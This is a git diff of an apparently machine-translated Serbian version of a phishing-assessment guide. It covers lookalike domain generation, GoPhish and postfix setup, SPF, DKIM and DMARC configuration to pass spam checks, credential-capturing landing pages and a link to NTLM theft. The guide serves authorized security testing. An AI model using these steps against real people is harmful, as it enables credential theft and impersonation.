- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||||
|
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||||
|
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
|
||||||
|
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,47 +4,47 @@
|
|||||||
|
|
||||||
## Metodologija
|
## Metodologija
|
||||||
|
|
||||||
1. Recon žrtve
|
1. Recon the victim
|
||||||
1. Izaberi **domen žrtve**.
|
1. Izaberi **victim domain**.
|
||||||
2. Izvrši osnovnu web enumeraciju **pretražujući portale za prijavu** koje koristi žrtva i **odluči** koji ćete **imitirati**.
|
2. Uradi osnovnu web enumeraciju **searching for login portals** koje koristi žrtva i **decide** koji ćeš **impersonate**.
|
||||||
3. Koristi malo **OSINT** da **pronađeš e-mail adrese**.
|
3. Koristi **OSINT** da **find emails**.
|
||||||
2. Pripremi okruženje
|
2. Pripremi okruženje
|
||||||
1. **Kupi domen** koji ćeš koristiti za phishing procenu
|
1. **Buy the domain** koji ćeš koristiti za phishing procenu
|
||||||
2. **Konfiguriši zapise** vezane za email servis (SPF, DMARC, DKIM, rDNS)
|
2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
|
||||||
3. Konfiguriši VPS sa **gophish**
|
3. Konfiguriši VPS sa **gophish**
|
||||||
3. Pripremi kampanju
|
3. Pripremi kampanju
|
||||||
1. Pripremi **email šablon**
|
1. Pripremi **email template**
|
||||||
2. Pripremi **web stranicu** za krađu kredencijala
|
2. Pripremi **web page** za krađu credentials
|
||||||
4. Pokreni kampanju!
|
4. Pokreni kampanju!
|
||||||
|
|
||||||
## Generisanje sličnih naziva domena ili kupovina pouzdanog domena
|
## Generate similar domain names or buy a trusted domain
|
||||||
|
|
||||||
### Tehnike varijacija naziva domena
|
### Domain Name Variation Techniques
|
||||||
|
|
||||||
- **Keyword**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr. zelster.com-management.com).
|
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
|
||||||
- **hypened subdomain**: Zameni **tačku crticom** u poddomeni (npr. www-zelster.com).
|
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
|
||||||
- **New TLD**: Isti domen koristeći **novi TLD** (npr. zelster.org)
|
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
|
||||||
- **Homoglyph**: **Zameni** slovo u nazivu domena sa **slovima koja izgledaju slično** (npr. zelfser.com).
|
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
homograph-attacks.md
|
homograph-attacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
- **Transposition:** **Zameni mesta** dvema slovima unutar naziva domena (npr. zelsetr.com).
|
- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
|
||||||
- **Singularization/Pluralization**: Dodaje ili uklanja “s” na kraju naziva domena (npr. zeltsers.com).
|
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
|
||||||
- **Omission**: **Ukloni jedno** od slova iz naziva domena (npr. zelser.com).
|
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
|
||||||
- **Repetition:** **Ponovi jedno** od slova u nazivu domena (npr. zeltsser.com).
|
- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
|
||||||
- **Replacement**: Kao homoglyph ali manje prikriveno. Zamenjuje jedno od slova u nazivu domena, možda slovom bliskim na tastaturi (npr. zektser.com).
|
- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
|
||||||
- **Subdomained**: Uvedi **tačku** unutar naziva domena (npr. ze.lster.com).
|
- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
|
||||||
- **Insertion**: **Ubaci slovo** u naziv domena (npr. zerltser.com).
|
- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
|
||||||
- **Missing dot**: Pripoji TLD uz naziv domena. (npr. zelstercom.com)
|
- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
|
||||||
|
|
||||||
**Automatski alati**
|
**Automatic Tools**
|
||||||
|
|
||||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||||
|
|
||||||
**Web sajtovi**
|
**Websites**
|
||||||
|
|
||||||
- [https://dnstwist.it/](https://dnstwist.it)
|
- [https://dnstwist.it/](https://dnstwist.it)
|
||||||
- [https://dnstwister.report/](https://dnstwister.report)
|
- [https://dnstwister.report/](https://dnstwister.report)
|
||||||
@ -52,43 +52,43 @@ homograph-attacks.md
|
|||||||
|
|
||||||
### Bitflipping
|
### Bitflipping
|
||||||
|
|
||||||
Postoji **mogućnost da se neki bitovi, koji su sačuvani ili u komunikaciji, automatski preokrenu** zbog različitih faktora kao što su solarne erupcije, kosmičko zračenje ili hardverske greške.
|
Postoji **mogućnost da se neki bitovi** u skladištenju ili komunikaciji automatski promene zbog raznih faktora kao što su solarne oluje, kosmički zraci ili hardverske greške.
|
||||||
|
|
||||||
Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji DNS server primi** nije isti kao domen koji je prvobitno zatražen.
|
Kada se ovaj koncept primeni na DNS zahteve, moguće je da **domain koji DNS server zaprimi** nije isti kao domain koji je inicijalno zahtevan.
|
||||||
|
|
||||||
Na primer, jedna izmena bita u domenu "windows.com" može ga promeniti u "windnws.com."
|
Na primer, promena jednog bita u domain-u "windows.com" može ga promeniti u "windnws.com."
|
||||||
|
|
||||||
Napadači mogu **iskoristiti ovo registrujući više bit-flipping domena** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na sopstvenu infrastrukturu.
|
Napadači mogu **iskoristiti ovo tako što registruju više bit-flipping domain-a** koji su slični domain-u žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu.
|
||||||
|
|
||||||
Za više informacija pročitajte [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
Za više informacija pogledaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||||
|
|
||||||
### Kupovina pouzdanog domena
|
### Buy a trusted domain
|
||||||
|
|
||||||
Možete pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za istekao domen koji biste mogli koristiti.\
|
Možeš pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za expired domain koji bi mogao da iskoristiš.\
|
||||||
Da biste bili sigurni da domen koji planirate da kupite **već ima dobar SEO**, možete proveriti kako je kategorizovan u:
|
Da bi bio siguran da expired domain koji planiraš da kupiš **već ima dobar SEO**, možeš proveriti kako je kategorizovan na:
|
||||||
|
|
||||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||||
|
|
||||||
## Otkrivanje e-mail adresa
|
## Discovering Emails
|
||||||
|
|
||||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno)
|
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
|
||||||
- [https://phonebook.cz/](https://phonebook.cz) (100% besplatno)
|
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
|
||||||
- [https://maildb.io/](https://maildb.io)
|
- [https://maildb.io/](https://maildb.io)
|
||||||
- [https://hunter.io/](https://hunter.io)
|
- [https://hunter.io/](https://hunter.io)
|
||||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||||
|
|
||||||
Da biste **otkrili više** validnih e-mail adresa ili **verifikovali one** koje ste već otkrili, možete proveriti da li ih možete brute-force-ovati na SMTP serverima žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
Da bi **otkrio više** validnih email adresa ili **verifikovao one** koje si već pronašao, možeš proveriti da li možeš brute-force-ovati smtp servere žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||||
Pored toga, ne zaboravite da ako korisnici koriste **bilo koji web portal za pristup svojim mejlovima**, možete proveriti da li je ranjiv na **username brute force**, i iskoristiti ranjivost ako je moguće.
|
Takođe, ne zaboravi da ako korisnici koriste **bilo koji web portal za pristup mail-ovima**, možeš proveriti da li je ranjiv na **username brute force**, i iskoristiti tu ranjivost ako je moguće.
|
||||||
|
|
||||||
## Konfigurisanje GoPhish
|
## Configuring GoPhish
|
||||||
|
|
||||||
### Instalacija
|
### Instalacija
|
||||||
|
|
||||||
Možete ga preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
Možeš ga download-ovati sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||||
|
|
||||||
Preuzmite i raspakujte ga u `/opt/gophish` i pokrenite `/opt/gophish/gophish`\
|
Download-uj i dekompresuj unutar `/opt/gophish` i pokreni `/opt/gophish/gophish`\
|
||||||
U izlazu će vam biti dodeljena lozinka za admin korisnika na portu 3333. Dakle, pristupite tom portu i koristite te akreditive da promenite admin lozinku. Možda ćete morati da tunelišete taj port lokalno:
|
U output-u će ti biti dat password za admin user-a na portu 3333. Dakle, pristupi tom portu i iskoristi te credentials da promeniš admin password. Možda ćeš trebati da tuneluješ taj port ka lokalnom:
|
||||||
```bash
|
```bash
|
||||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||||
```
|
```
|
||||||
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
|||||||
|
|
||||||
**Konfiguracija TLS sertifikata**
|
**Konfiguracija TLS sertifikata**
|
||||||
|
|
||||||
Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora biti **usmeren** na **IP VPS-a** na kojem konfigurišete **gophish**.
|
Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora da bude **usmeren** na **IP adresu VPS-a** gde konfigurišete **gophish**.
|
||||||
```bash
|
```bash
|
||||||
DOMAIN="<domain>"
|
DOMAIN="<domain>"
|
||||||
wget https://dl.eff.org/certbot-auto
|
wget https://dl.eff.org/certbot-auto
|
||||||
@ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
|||||||
```
|
```
|
||||||
**Konfiguracija pošte**
|
**Konfiguracija pošte**
|
||||||
|
|
||||||
Počnite sa instalacijom: `apt-get install postfix`
|
Počnite instalaciju: `apt-get install postfix`
|
||||||
|
|
||||||
Zatim dodajte domen u sledeće fajlove:
|
Zatim dodajte domen u sledeće fajlove:
|
||||||
|
|
||||||
@ -122,23 +122,23 @@ Zatim dodajte domen u sledeće fajlove:
|
|||||||
- **/etc/postfix/transport**
|
- **/etc/postfix/transport**
|
||||||
- **/etc/postfix/virtual_regexp**
|
- **/etc/postfix/virtual_regexp**
|
||||||
|
|
||||||
**Takođe promenite vrednosti sledećih promenljivih u fajlu /etc/postfix/main.cf**
|
**Takođe promenite vrednosti sledećih promenljivih u /etc/postfix/main.cf**
|
||||||
|
|
||||||
`myhostname = <domain>`\
|
`myhostname = <domain>`\
|
||||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||||
|
|
||||||
Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.**
|
Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.**
|
||||||
|
|
||||||
Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **ip address** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>`
|
Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **IP adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>`
|
||||||
|
|
||||||
Sada ćemo testirati slanje e-maila:
|
Sada ćemo testirati slanje emaila:
|
||||||
```bash
|
```bash
|
||||||
apt install mailutils
|
apt install mailutils
|
||||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||||
```
|
```
|
||||||
**Gophish konfiguracija**
|
**Gophish konfiguracija**
|
||||||
|
|
||||||
Zaustavite izvršavanje gophish-a i hajde da ga konfigurišemo.\
|
Zaustavite izvršavanje gophish i hajde da ga konfigurišemo.\
|
||||||
Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https):
|
Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https):
|
||||||
```bash
|
```bash
|
||||||
{
|
{
|
||||||
@ -166,7 +166,7 @@ Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu ht
|
|||||||
```
|
```
|
||||||
**Konfigurišite gophish servis**
|
**Konfigurišite gophish servis**
|
||||||
|
|
||||||
Da biste kreirali gophish servis tako da može biti automatski pokrenut i upravljan kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem:
|
Da biste kreirali gophish servis tako da se može automatski pokretati i upravljati kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# /etc/init.d/gophish
|
# /etc/init.d/gophish
|
||||||
@ -213,7 +213,7 @@ case $1 in
|
|||||||
start|stop|status) "$1" ;;
|
start|stop|status) "$1" ;;
|
||||||
esac
|
esac
|
||||||
```
|
```
|
||||||
Završite konfigurisanje servisa i proverite ga tako što ćete uraditi:
|
Završite konfiguraciju servisa i proveru tako što ćete uraditi:
|
||||||
```bash
|
```bash
|
||||||
mkdir /var/log/gophish
|
mkdir /var/log/gophish
|
||||||
chmod +x /etc/init.d/gophish
|
chmod +x /etc/init.d/gophish
|
||||||
@ -226,25 +226,25 @@ service gophish stop
|
|||||||
```
|
```
|
||||||
## Konfigurisanje mail servera i domena
|
## Konfigurisanje mail servera i domena
|
||||||
|
|
||||||
### Sačekajte i budite legitimni
|
### Sačekaj i budi legitiman
|
||||||
|
|
||||||
Što je domen stariji, to je manja verovatnoća da će biti označen kao spam. Zato biste trebali čekati što duže (najmanje 1 nedelju) pre phishing procene. Pored toga, ako postavite stranicu vezanu za sektor sa boljom reputacijom, reputacija koja se stekne biće bolja.
|
Što je domen stariji, manja je verovatnoća da će biti označen kao spam. Zato treba da sačekaš što je moguće duže (najmanje 1 nedelju) pre phishing procene. Takođe, ako postaviš stranicu povezanu sa reputacionim sektorom, dobijena reputacija će biti bolja.
|
||||||
|
|
||||||
Imajte na umu da, čak i ako morate čekati nedelju dana, možete sada završiti svu konfiguraciju.
|
Imaj na umu da iako treba da sačekaš nedelju dana, možeš sada završiti svu konfiguraciju.
|
||||||
|
|
||||||
### Configure Reverse DNS (rDNS) record
|
### Konfiguriši Reverse DNS (rDNS) zapis
|
||||||
|
|
||||||
Postavite rDNS (PTR) zapis koji rezoluje IP adresu VPS-a na ime domena.
|
Postavi rDNS (PTR) zapis koji rešava IP adresu VPS-a na ime domena.
|
||||||
|
|
||||||
### Sender Policy Framework (SPF) Record
|
### Sender Policy Framework (SPF) Record
|
||||||
|
|
||||||
Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
Moraš **konfigurisati SPF zapis za novi domen**. Ako ne znaš šta je SPF zapis [**pročitaj ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||||
|
|
||||||
Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete vašu SPF politiku (koristite IP VPS mašine)
|
Možeš koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišeš svoju SPF politiku (koristi IP VPS mašine)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Ovo je sadržaj koji mora biti postavljen unutar TXT zapisa na domenu:
|
Ovo je sadržaj koji treba postaviti u TXT record unutar domena:
|
||||||
```bash
|
```bash
|
||||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||||
```
|
```
|
||||||
@ -252,18 +252,18 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
|||||||
|
|
||||||
Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||||
|
|
||||||
Morate kreirati novi DNS TXT zapis koji pokazuje na hostname `_dmarc.<domain>` sa sledećim sadržajem:
|
Morate da kreirate novi DNS TXT zapis usmeren na hostname `_dmarc.<domain>` sa sledećim sadržajem:
|
||||||
```bash
|
```bash
|
||||||
v=DMARC1; p=none
|
v=DMARC1; p=none
|
||||||
```
|
```
|
||||||
### DomainKeys Identified Mail (DKIM)
|
### DomainKeys Identified Mail (DKIM)
|
||||||
|
|
||||||
Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
||||||
|
|
||||||
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Potrebno je da konkatenirate obe B64 vrednosti koje DKIM ključ generiše:
|
> Potrebno je da spojite obe B64 vrednosti koje DKIM ključ generiše:
|
||||||
>
|
>
|
||||||
> ```
|
> ```
|
||||||
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||||
@ -271,13 +271,13 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how
|
|||||||
|
|
||||||
### Test your email configuration score
|
### Test your email configuration score
|
||||||
|
|
||||||
To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com/)\
|
You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com/)\
|
||||||
Samo pristupite stranici i pošaljite e-mail na adresu koju vam daju:
|
Samo pristupite stranici i pošaljite email na adresu koju vam daju:
|
||||||
```bash
|
```bash
|
||||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||||
```
|
```
|
||||||
Možete takođe **proveriti konfiguraciju e-pošte** slanjem poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i pogledate odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\
|
Takođe možete **proveriti konfiguraciju e-pošte** slanjem e-poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i vidite odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\
|
||||||
Proverite da li prolazite sve testove:
|
Proverite da li ste prošli sve testove:
|
||||||
```bash
|
```bash
|
||||||
==========================================================
|
==========================================================
|
||||||
Summary of Results
|
Summary of Results
|
||||||
@ -288,40 +288,40 @@ DKIM check: pass
|
|||||||
Sender-ID check: pass
|
Sender-ID check: pass
|
||||||
SpamAssassin check: ham
|
SpamAssassin check: ham
|
||||||
```
|
```
|
||||||
Možete takođe poslati **poruku na Gmail nalog pod vašom kontrolom**, i proveriti **zaglavlja e-pošte** u svom Gmail inboxu, `dkim=pass` bi trebalo da bude prisutno u polju zaglavlja `Authentication-Results`.
|
Takođe možete poslati **poruku na Gmail koji kontrolišete**, i proveriti **zaglavlja emaila** u svom Gmail inboxu, `dkim=pass` treba da bude prisutan u polju `Authentication-Results`.
|
||||||
```
|
```
|
||||||
Authentication-Results: mx.google.com;
|
Authentication-Results: mx.google.com;
|
||||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||||
dkim=pass header.i=@example.com;
|
dkim=pass header.i=@example.com;
|
||||||
```
|
```
|
||||||
### Removing from Spamhouse Blacklist
|
### Uklanjanje sa Spamhouse crne liste
|
||||||
|
|
||||||
Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse-a. Možete zatražiti uklanjanje domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse. Možete zatražiti uklanjanje vašeg domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||||
|
|
||||||
### Removing from Microsoft Blacklist
|
### Uklanjanje sa Microsoft crne liste
|
||||||
|
|
||||||
Možete zatražiti uklanjanje domena/IP-a na [https://sender.office.com/](https://sender.office.com).
|
Možete zatražiti uklanjanje vašeg domena/IP-a na [https://sender.office.com/](https://sender.office.com).
|
||||||
|
|
||||||
## Create & Launch GoPhish Campaign
|
## Kreiranje i pokretanje GoPhish kampanje
|
||||||
|
|
||||||
### Sending Profile
|
### Profil pošiljaoca
|
||||||
|
|
||||||
- Postavite neko **ime za identifikaciju** profila pošiljaoca
|
- Postavite neko **ime za identifikaciju** profila pošiljaoca
|
||||||
- Odlučite sa kojeg naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._
|
- Odlučite sa kog naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._
|
||||||
- Možete ostaviti prazno korisničko ime i lozinku, ali obavezno označite opciju Ignore Certificate Errors
|
- Možete ostaviti korisničko ime i lozinku praznim, ali obavezno označite Ignore Certificate Errors
|
||||||
|
|
||||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Preporučuje se korišćenje funkcionalnosti "**Send Test Email**" da biste testirali da li sve radi.\
|
> Preporučuje se da koristite funkciju "**Send Test Email**" da testirate da li sve radi.\
|
||||||
> Preporučio bih da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli da prilikom testiranja budete stavljeni na crnu listu.
|
> Preporučujem da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja.
|
||||||
|
|
||||||
### Email Template
|
### Šablon mejla
|
||||||
|
|
||||||
- Postavite neko **ime za identifikaciju** šablona
|
- Postavite neko **ime za identifikaciju** šablona
|
||||||
- Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom emailu)
|
- Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom mejlu)
|
||||||
- Uverite se da ste označili "**Add Tracking Image**"
|
- Obavezno označite "**Add Tracking Image**"
|
||||||
- Napišite **email template** (možete koristiti varijable kao u sledećem primeru):
|
- Napišite **šablon mejla** (možete koristiti promenljive kao u sledećem primeru):
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
@ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Imajte na umu da, **kako biste povećali kredibilitet e‑pošte**, preporučuje se korišćenje nekog potpisa iz e‑maila klijenta. Predlozi:
|
Napomena: **da biste povećali kredibilitet mejla**, preporučuje se korišćenje neke potpisa iz mejla klijenta. Predlozi:
|
||||||
|
|
||||||
- Pošaljite poruku na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis.
|
- Pošaljite mejl na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis.
|
||||||
- Potražite **javne adrese** kao što su info@ex.com, press@ex.com ili public@ex.com i pošaljite im e‑mail i sačekajte odgovor.
|
- Potražite **javne mejlove** kao info@ex.com ili press@ex.com ili public@ex.com i pošaljite im mejl i sačekajte odgovor.
|
||||||
- Pokušajte da kontaktirate **neku validnu otkrivenu** adresu i sačekajte odgovor.
|
- Pokušajte da kontaktirate **neki validan otkriven** mejl i sačekajte odgovor
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Šablon e‑pošte takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM izazove korišćenjem posebno izrađenih fajlova/dokumenata, [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
> The Email Template takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM challenges koristeći posebno kreirane fajlove/dokumente [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||||
|
|
||||||
### Landing Page
|
### Landing Page
|
||||||
|
|
||||||
- Navedite **ime**
|
- Unesite **ime**
|
||||||
- **Napišite HTML kod** web stranice. Imajte na umu da možete **importovati** veb stranice.
|
- **Napišite HTML kod** web stranice. Imajte u vidu da možete **importovati** web stranice.
|
||||||
- Obeležite **Capture Submitted Data** i **Capture Passwords**
|
- Označite **Capture Submitted Data** i **Capture Passwords**
|
||||||
- Podesite **preusmeravanje**
|
- Podesite **redirection**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Obično ćete morati da izmenite HTML kod stranice i izvršite testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima.** Zatim unesite taj HTML kod u polje.\
|
